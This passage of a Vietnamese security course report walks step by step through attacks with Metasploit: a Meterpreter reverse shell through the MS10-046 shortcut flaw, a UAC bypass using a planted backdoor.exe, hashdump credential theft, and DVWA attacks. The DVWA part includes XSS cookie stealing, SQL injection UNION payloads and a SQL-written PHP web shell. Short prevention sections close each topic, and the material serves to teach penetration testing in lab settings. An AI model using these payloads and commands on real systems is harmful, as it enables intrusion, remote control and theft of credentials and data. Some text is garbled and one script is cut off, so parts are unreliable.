Enviroment :

Global Enviroment:được thực thi thông qua 2 câu lệnh setg và unsetg,

những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả

các module exploits

Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset,

enviroment này chỉ được đưa vào module exploit đang load hiện tại, không

ảnh hưởng đến các module exploit khác

Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi

trường đó sẽ được lưu trong ./msf/config và sẽ được load trở lại khi user interface

được thực hiện

3. Sử dụng Metasploit Framework

a) Chọn module exploit

Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác

68

show exploits: xem các module exploit mà framework có hỗ trợ

use exploit_name: chọn module exploit

info exploit_name: xem thông tin về module exploit

Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các module

trên www.metasploit.com hoặc qua lệnh msfupdate hoặc svn update

/opt/metasploit/msf3/

b) Cấu hình module exploit đã chọn

show options: Xác định những options nào cần cấu hình

set : cấu hình cho những option của module đó

Một vài module còn có những advanced options, chúng ta có thể xem bằng

cách gõdòng lệnh show advanceds

c) Verify những options vừa cấu hình

check: kiểm tra xem những option đã được set chính xác chưa.

d) Lựa chọn target

Lựa chọn hệ diều hành nào để thực hiện

show targets: những target được cung cấp bởi module đó

set: xác định target nào

vd: msf> use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

e) Lựa chọn payload

Payload là đoạn code mà sẽ chạy trên hệ thống remote machine, là một

phần của virus máy tính để thực thi mã độc.

show payloads: liệt kê ra những payload của module exploit hiện tại

info payload_name: xem thông tin chi tiết về payload đó

set payload payload_name: xác định payload module name.Sau khi

lựa chọn payload nào, dùng lệnh show options để xem những options

của payload đó

show advanced: xem những advanced options của payload đó

f) Thực thi exploit

exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung

cấp cho chúng ta những thông tin về hệ thống được khai thác

4. Giới thiệu Payload Meterpreter

Meterpreter, viết tắt từ Meta-Interpreter là một payload nâng cao có trong

Metasploit Framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác,

69

tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared

object (DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ,

hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm

chống virus

Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote

computers:

Fs(Filesystem): cung cấp quá trình tương tác với filesystem

Net: cho phép xem thông tin mạng của remote machine như IP, route

table…

Process:cho phép tạo tương tác với các tiến trình trên remote

machine

Sys: cho phép xem thông tin hệ thống, môi trường của remote

machine

a) Sử dụng module Fs

cd directory:giống lệnh cd của commandline, chuyển thư mục làm

việc

getcwd:cho biết thư mục đang làm việc hiện tại

ls:liệt kê các thư mục và tập tin

upload src1 [src2 ...] dst:upload file từ src tới dst.

download src1 [src2 ...] dst:download file từ src tới dst.

b) Sử dụng module Net

ipconfig:xem câu hình của card mạng của máy tính từ xa

route:xem bảng định tuyến của remote machine

c) Sử dụng module Process

execute -f file [ -a args ] [ -Hc ]:Câu lệnh execute cho phép tạo ra

một process mới trên remote machine và sử dụng process đó để khai

thác dữ liệu

kill pid1 pid2 pid3:huỷ hoặc tắt các process đang chạy trên máy

remote machine

ps:liệt kê những process của remote machine

d) Sử dụng module Sys

getuid: cho biết username hiện tại của remote machine

sysinfo:cho biết thông tin về máy tính nạn nhân: hệ điều hành, phiên

bản, nền tản 32bits hay 64bits

70

5. Cách phòng chống

Thường xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit

không thể khai thác được lỗi Lsass_ms04_011, chúng ta phải cập nhật bản vá lỗi của

Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng, có trên hầu hết tất cả

các hệ điều hành windows. Chúng ta nên sử dụng hotfix có number là 835732 để vá lỗi

trên.

II. Lỗi MS10-046 (2286198)

1. Giới thiệu

Đây là một lỗi rất nghiêm trọng liên quan đến Windows Shellcủa cho tất cả các

hệ điều hành bị ảnh hưởng, cho phép kẻ tấn công chiếm lấy toàn quyền điều khiển

Windows và thực thi mã nguồn từ xa. Lỗi này được phát hiện vào tháng 06/2010 và

đến tháng 08/2010, Microsoft tung ba bản vá lỗi.

Lỗi nguy hiểm này nằm trong các tập tin "shortcut" (*.lnk) của Windows, các

tập tin này thường nằm ở giao diện desktop hay trình đơn Start. Bằng cách tạo ra một

tập tin shortcut nhúng mã độc, tin tặc có thể tự động thực thi mã độc khi người dùng

xem tập tin shortcut hay nội dung của một thư mục chứa tập tin shortcut nhúng mã

độc.

Các bản Windows bị ảnh hưởng bao gồm.

71

2. Các bước tấn công:

Saukhi khởi động BackTrack và đang nhập thành công, ta khởi động

Terminal ta được:

Ta gõ tiếp: msfconsole và enter:

Hệ Điều Hành

Windows XP Service Pack 3

Windows Server 2008 for 32-bit Systems

and Windows Server 2008 for 32-bit

Systems Service Pack 2*

Windows XP Professional x64 Edition

Service Pack 2

Windows Server 2008 for x64-based

Systems and Windows Server 2008 for

x64-based Systems Service Pack 2*

Windows Server 2003 Service Pack 2

Windows Server 2008 for Itanium-based

Systems and Windows Server 2008 for

Itanium-based Systems Service Pack 2

Windows Server 2003 x64 Edition Service

Pack 2 Windows 7 for 32-bit Systems

Windows Server 2003 with SP2 for

Itanium-based Systems Windows 7 for x64-based Systems

Windows Vista Service Pack 1 and

Windows Vista Service Pack 2

Windows Server 2008 R2 for x64-based

Systems*

Windows Vista x64 Edition Service Pack 1

and Windows Vista x64 Edition Service

Pack 2

Windows Server 2008 R2 for Itanium-

based Systems

72

Để dùng mã lỗi ms10-046: search ms10-046 và enter

Ta gõ tiếp:

use exploit/windows/browser/ms10_046_shortcut_icon_dllloader và

enter

73

Dùng lệnh: show options để xem các tham số cần thiết để có thể tiến

hành tấn công đươc:

o SRVHOST: địa chỉ máy của kẻ tấn công, để lắng nghe có nạn

nhân nào kết nối đến hay không

o SRVPORT: cổng lắng nghe, mặc định là http (80)

74

Ta sẽ:

o set PAYLOADwindows/meterpreter/reverse_tcp

o set SRVHOST 192.168.1.200

o set lhost địa chỉ IP: set LHOST 192.168.1.200. LHOST là

tham số của PAYLOAD mà ta vừa set ở trên.

exploit để khởi động server lắng nghe trên máy tính tấn công

75

Trên máy tính nạn nhân, tạo 1 shortcut bằng cách nhấn phải chuột vào

Desktop -> New -> Shortcut

76

Ta gõ vào địa chỉ của máy tấn công vào Type the location of the item:

http://192.168.1.200/anythingvà chọn Next

Đặt tên cho shortcut vừa mới tạo và nhấn Finish. Ta sẽ mở shortcut này:

77

Đợi một lát, trên máy tính tấn công ta được:

Dùng lệnh sessions để xem các phiên làm việc mà Metasploit đang có:

78

Để tương tác với 1 session nào đó ta thực hiện: sessions –i 1 (1 là id của

sessions)

Và bây giờ thì mọi việc đã trở nên dễ dàng hơn, khi kẻ tấn công đã điều khiển

được máy nạn nhân với toàn quyền. Ví dụ:

Lệnh sysinfo để lấy thông tin của máy nạn nhân:

Lệnh hashdump để lấy mật khẩu của người dùng dưới dạng hash

79

Lệnh rất hữu ích để sử dụng cmd (command-line): shell

3. Cách phòng chống

Thường xuyên cập nhật các bản vá lỗi của Windows để trách bị hacker lợi

dụng.

80

Bản vá lỗi có tên mã là KB2286198 chứa đựng phiên bản mới của tập tin

Shell32.dll, đây là phần cập nhật quan trọng. Shell32.dll là một tập tin thư viện rất

quan trọng trong Windows, nó chứa đựng một số hàm Windows Shell API. Nếu

Shell32.dll bị lỗi hay cập nhật lỗi, máy tính sẽ có tình trạng "Màn hình xanh chết chóc"

hay Blue Screen.

III. Lỗi BYPASSUAC

1. Giới thiệu

Từ Windows Vista trở về sau, Microsoft đã giới thiệu một tiện ích được xây

dựng sẵn là User Access Control (UAC). UAC làm tăng tính bảo mật của Windows

bằng cách giới hạn các phần mềm ứng dụng của nhóm quyền người sử dụng cơ bản.

Vì vậy, chỉ những phần mềm được người dùng tin tưởng mới nhận được quyền quản

trị, những phần mềm khác thì không. Tuy nhiên, với tài khoản của người quản trị, các

ứng dụng vẫn bị giới hạn như những tài khoản thường khác.

Các hệ điều hành có tích hợp sẵn User Access Control điều bị ảnh hưởng và có

thể khai thác.

2. Các bước tấn công

Vào Terminal, gõ msfconsole và Enter:

use exploit/multi/handler. Đây là một modume cung cấp nhiều chức

năng của hệ thống payload Metasploit cho chúng ta khai thác bằng cách

81

thực hiện: run post/windows/escalate/bypassuac như là ví dụ trong

trường hợp này và còn nhiều thứ khác nữa.

set PAYLOAD windows/meterpreter/reverse_tcp: cho phép kết nối

lại với máy tính tấn công để dễ dàng điều khiển.

set LHOST 192.168.1.202: host lắng nghe, địa chỉ IP của máy tấn công

set LPORT 6789:port lắng nghe, tùy ý miễn là chưa được sử dụng.

exploit để bắt đầu khởi động server.

82

Ta sẽ tạo ra một con backdoor cho phép kết nối đến server mà chúng ta

đã khởi đông sẵn trước đó.

83

Sau khi tạo xong, ta copy file backdoor.exe đến máy tính nạn nhân và

thực thi. Chúng ta có thể sử dùng Samba chia sẽ file giữa Windows và

Linux.

Trên máy tính Windows, ta sẽ share file với toàn quyền truy cập:

84

Trở lại máy tính nạn nhân, và thực thi file backdoor.exe vừa copy. Khi

đó trên máy tính nạn nhân chúng ta sẽ nhận được như sau:

Ta đã có 1 phiên làm việc vẫn chưa điều khiển toàn quyền được. Để thực hiện

ta cần thực hiện lệnh: run post/windows/escalate/bypassuac

85

Chúng ta có thể xem tất cả các lệnh hỗ trợ bằng lênh: help

3. Cách phòng chống

Rất tiếc là cho đến thời điểm hiện tại, Microsoft vẫn chưa xác nhận lỗi trong

UAC cũng như cung cấp bản vá cho lỗ hổng bảo mật này. Một phát ngôn viên của

Microsoft khẳng định không có lỗ hổng vào trong UAC cả. Vì thế, chúng ta cần cài đặt

phần mềm diệt virus, backdoor có uy tính trên thị trường để tránh bị lợi dụng.

86

Chương 7: WEB HACKING VỚI DVWA

I. Giới thiệu Đối với những chúng ta mới nghiên cứu hacking, môi trường thử nghiệm là rất

quan trọng, tuy nhiên tìm được môi trường thực tế, phù hợp với trình độ lại không đơn

giản.

Ngược lại, đối với những người có trình độ và kinh nghiệm hacking, chắc hẳn

các chúng ta cũng có nhu cầu thử nghiệm trình độ hacking của mình đến đâu cũng như

nâng cao thêm khả năng bản thân.

Vậy thì DVWA- Damn Vulnerable Web Application có thể đáp ứng nhu cầu

của cả những người mới vào cũng như những người đã có trình độ nhất định. DVWA

là một framework đã xây dựng sẵn những lỗ hổng bảo mật theo top 10 điểm yếu bảo

mật Web của OWASP. Trình độ từ mức low đến high có thể đáp ứng nhu cầu hack của

rất nhiều người.

Vậy DVWA là một ứng dụng web PHP / MySQL bị lỗi. Mục tiêu chính của nó

là giúp cho các chuyên gia an ninh kiểm tra kỹ năng và công cụ của họ trong một môi

trường hợp pháp, giúp các nhà phát triển web hiểu rõ hơn về các quá trình đảm bảo các

ứng dụng web và hỗ trợ giáo viên / học sinh để giảng dạy / học bảo mật ứng dụng web

trong một môi trường lớp học.

II. Hướng dẫn cài đặt DVWA trên Backtrack Do đây là framework trên nền php nên để đơn giản các chúng ta dựng

webserver bằng XAMPP trước, rồi copy DVWA vào, chúng ta sẽ sử dụng DVWA trên

giao diện web.

1. Tải và cài đặt XAMPP

Vì đây là phần mềm mã nguồn mở, nên các chúng ta hãy vào trang chủ của

XAMPP http://www.apachefriends.org/en/xampp.html để tải phiên bản mới nhất về

máy.

87

Sau khi đã download XAMPP về, các chúng ta vào Terminal và gõ lệnh như

hình bên dưới

Khởi động XAMPP lên

88

Sau cùng là mở trình duyệt web lên và gõ http://localhost ta sẽ được giao diện

chính của XAMPP như hình bên dưới:

2. Tải và cài đặt DVWA

Các chúng ta vào link http://www.dvwa.co.uk/ để tải DVWA về máy

89

Sau đó tiến hành giải nén file vừa download về và đặt vào thư mục

/opt/lampp/htdocs/

Vào trình duyệt web và gõ http://localhost/dvwa/ ta được giao diện chính của

DVWA như sau :

90

Chú ý:

Phải bật XAMPP lên trước thì mới có thể chạy DVWA.

Tại giao diện đăng nhập của DVWA, các chúng ta đăng nhập bằng

acc/pass mặc định là admin/password.

Chuẩn bị trước khi tấn công:

Mở trình duyệt web, gõ: localhost/dvwa. Có thể sử dụng dia_chi_ip/dvwa

91

Để khai thác các lỗi trên DVWA(XSS, SQL Injection), chúng ta phải thiết lập

Security Level là Low. Vì khi đó, những đoạn code được thêm vào sẽ được giữ

nguyên. Với mức High, sử dụng hàm htmlspecialchars() để chuyển các ký tự đặc biệt,

không giống với lúc nhập ban đầu. Ở mức Medium, chuỗi “<script>” sẽ bị xóa đi nên

không bi ảnh hưởng. Tuy nhiên, các thẻ html khác vẫn bị ảnh hưởng bình thường.

Vì thế chúng ta thiết lập Security Level là low: Chọn DVWA Security -> Low

-> Submit

92

III. Các kĩ thuật tấn công trên DVWA

1. XSS (Cross-Site Scripting)

a) Giới thiệu

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để

tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công

bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay

những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác.

Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các

Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ

HTML.

XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi

này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này!

b) Phân loại XSS

XSS có thể được phân loại như sau:

Stored XSS Attacks

Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn

một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua

một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các thành

viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này

thường được lưu lại trong database của website chúng ta nên gọi là Stored. Stored XSS

phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn,

khiến cho mã độc được lưu vào Database của website.

93

Reflected XSS Attacks

Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của

website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã

độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình.

XSS Attack Consequences Phương pháp này tương tự như 2 phương pháp trên. Tuy nhiên, điểm khác biệt

là cách mà payload được đưa tới server. Một site “read only” hay “brochureware”

cũng có thển hiễm XSS. XSS có thể gây thiệt hại từ mức độ nhỏ đến lớn như việc

chiếm tài khoản của người sử dụng. Một cuộc tấn công XSS có thể lấy được session

cookie, gây mất tài khoản sử dụng. Hoặc có thể ảnh hưởng tới dữ liệu người dùng đầu

cuối bằng cách cài đặt Trojan, hoặc redirect trang web người truy cập sang một trang

khác, hoặc thay đổi nội dung của một trang.

c) Tìm hiểu về hoạt động XSS

Về cơ bản, hoạt động của XSS có thể được mô tả như sau:

94

Mô tả hoạt động của XSS

Theo nguyên tắc trên, một hacker có thể lợi dụng các lỗ hổng bảo mật từ

một website. Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật

XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt load thêm các

website khác khi các lệnh HTML được hiển thị. Lợi dụng nguyên tắc này, các hacker

có thể chèn các đoạn mã độc vào và khiến máy nạn nhân bị tấn công XSS

d) Tác hại của XSS

XSS thường được sử dụng với các mục đích sau:

Đánh cắp thông tin

Giúp hacker có thể truy cập được vào những thông tin nhạy cảm

Lấy được quyền truy cập miễn phí vào những nội dung đúng ra phải trả

tiềnmới có được

Dò xét sở thích của người sử dụng mạng

Thay đổi diện mạo ( deface) một trang web nào đó

Tấn công từ chối dịch vụ (DoS)

Mã JavaScript độc có thể truy cập bất cứ thông tin nào sau đây:

- Cookie cố định (của site bị lỗi XSS) được duy trì bởi trình duyệt.

- RAM Cookie (của site bị lỗi XSS).

- Tên của tất cả các cửa sổ được mở từ site bị lỗi XSS.

- Bất cứ thông tin mà có thể truy cập được từ DOM hiện tại (như

value, mã HTML…).

95

e) Tấn công XSS

Thực hiện script: <script>alert(“XSS”); </script> để hiện thông báo trên trình

duyệt web

Kết quả nhận được thay vì chỉ lưu vào cơ sở dữ liêu:

Xem cookie của người dùng:

<script>alert(document.cookie); </script>

96

Chúng ta có thể gửi cookie này về trực tiếp máy tấn công thay vì chỉ hiện lên

màn hình.

Chúng ta có thể chèn các thẻ iframe vào:

<iframe src=‟http://www.ctu.edu.vn‟></iframe>

Ngoài ra, chúng ta có thể sử dùng Metasploit Framework (giới thiệu ở trên) để

tấn công chiêm quyền điều khiển cùng với backdoor cho phép máy tính mục tiêu kết

nối lại. Code tạo backdoor:

Msfpayload php/meterperter/reverse_tcp lhost=192.168.10.102 lport=4444

R > forum.php

97

Dùng msfconsole và thiết lập các thông số cần thiết để lắng nghe kết nối trên

server:

Trở lại XSS Stored, ta sử dụng script:

98

<script>

Windows.

</script>

Sau khi thực thi script trên xong, Metasploit Framework đã mở kết nối đến và

chúng ta có thể tấn công.

Một số hình ảnh tấn công:

99

100

f) Một số phương pháp phòng ngừa và ngăn chặn

Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không

quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này.

OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng

các website bảo mật cao, đối với các dữ liệu của người sử dụng, nên:

Chỉ chấp nhận những dữ liệu hợp lệ.

Từ chối nhận các dữ liệu hỏng.

Liên tục kiểm tra và thanh lọc dữ liệu.

Những người phát triển web có thể bảo vệ website của mình khỏi bị lợi dụng

thông qua tấn công XSS, bằng cách đảm bảo những trang phát sinh động không chứa

các tag của script bằng cách lọc và xác nhận hợp lý các dữ liệu đầu vào từ phía người

dùng hoặc mã hóa(endcoding) và lọc các giá trị xuất cho người dùng.

2. SQL Injection

a) SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến

hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển

cho ứng dụng web xử lí, chúng ta có thể login mà không cần username và password,

remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là

một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Firefox, Google Chrome,

...

101

b) Các bước khai thác lỗ hổng trang web

Vào trang http://localhost/dvwa/, chọn SQL Injection (Blind):

Chúng ta bắt đầu khai thác lỗi từ ô nhập liệu User ID:

Nhập vào: 1

Nếu nhập vào:1’ or ‘1’=’1hoặc 1’ or ‘’=’’#ta được kết quả rất bất ngờ

102

Dấu # được sử dụng để loại bỏ tác dụng của dấu („) sau cùng trong câu lệnh

truy vấn sql:

SELECT first_name, last_name FROM users WHERE user_id =

‟$user_id„”

Xem tên cở dữ liệu: a’ UNION select 1, database();#

Xem user và system user: a’ UNION select system_user(), user();#

103

Xác định tên user mà người dùng đang sử dụng và phiên bản của MySQL

Xem tất cả các tên cơ sở dữ liệu cùng các bảng có trong hệ quản trị csdl

MySQL:

a’ UNION select table_schema, table_name, from

information_schema.tables;#

Chúng ta có thể thêm mệnh đề điều kiện WHERE để giới hạn lại kết quả

a’ UNION select table_schema, table_name, from information_schema.tables

where table_schema=’dvwa’;#

104

Liệt kê các column trong bảng:

a’ UNION select table_name, column_name, from

information_schema.columns where table_schema=’dvwa’;#

Tiếp tục thực hiện câu lệnh sau:

' union select '','<?php $print=shell_exec($_GET["cmd"]); echo

"<pre>$print</pre>"; ?>' into outfile ‘C:\\xampp\\htdocs\\sqlinjection.php' ;#

Sau khi tao xong, chúng ta chỉ cần thực hiện lệnh trên trình duyệt, phía sau chuỗi

?cmd=‟câu lệnh‟. Ví dụ: 192.168.10.20/sqlinjection.php?cmd=dirta được:

105

Bây giờ ta đã có toàn quyền điều khiển máy tính của victim.

a) Các phương án phòng chống SQL Injection

Đổi password mặc định của user “root”

Xoá tất cả các thủ tục được mặc định lưu trữ trên server

Lọc những ký tự có thể gây hại như „,”,–,:,# … ngay từ khi nhận yêu cầu truy

vấn từ bên ngoài

Update SQL với những bản mới nhất

Khoá các từ khóa nhạy cảm đối với SQL bằng cách dùng firewall chặn ngay từ

đầu vào

Mã hóa password

Loại bỏ những từ khóa SELECT, DELETE, INSERT,… trong câu truy vấn từ

bên ngoài.

106

TÀI LIỆU THAM KHẢO

[1] McGraw Hill Osborne,Media Hacking Exposed Sixth Edition Network

Security Secrets And SolutionsJan 2009

[2] Gordon “Fyodor” Lyon, Nmap Network Scanning: The Official Nmap

Project Guide to Network Discovery and Security Scanning

[3] www.wikipedia.org

[4] www.google.com.vn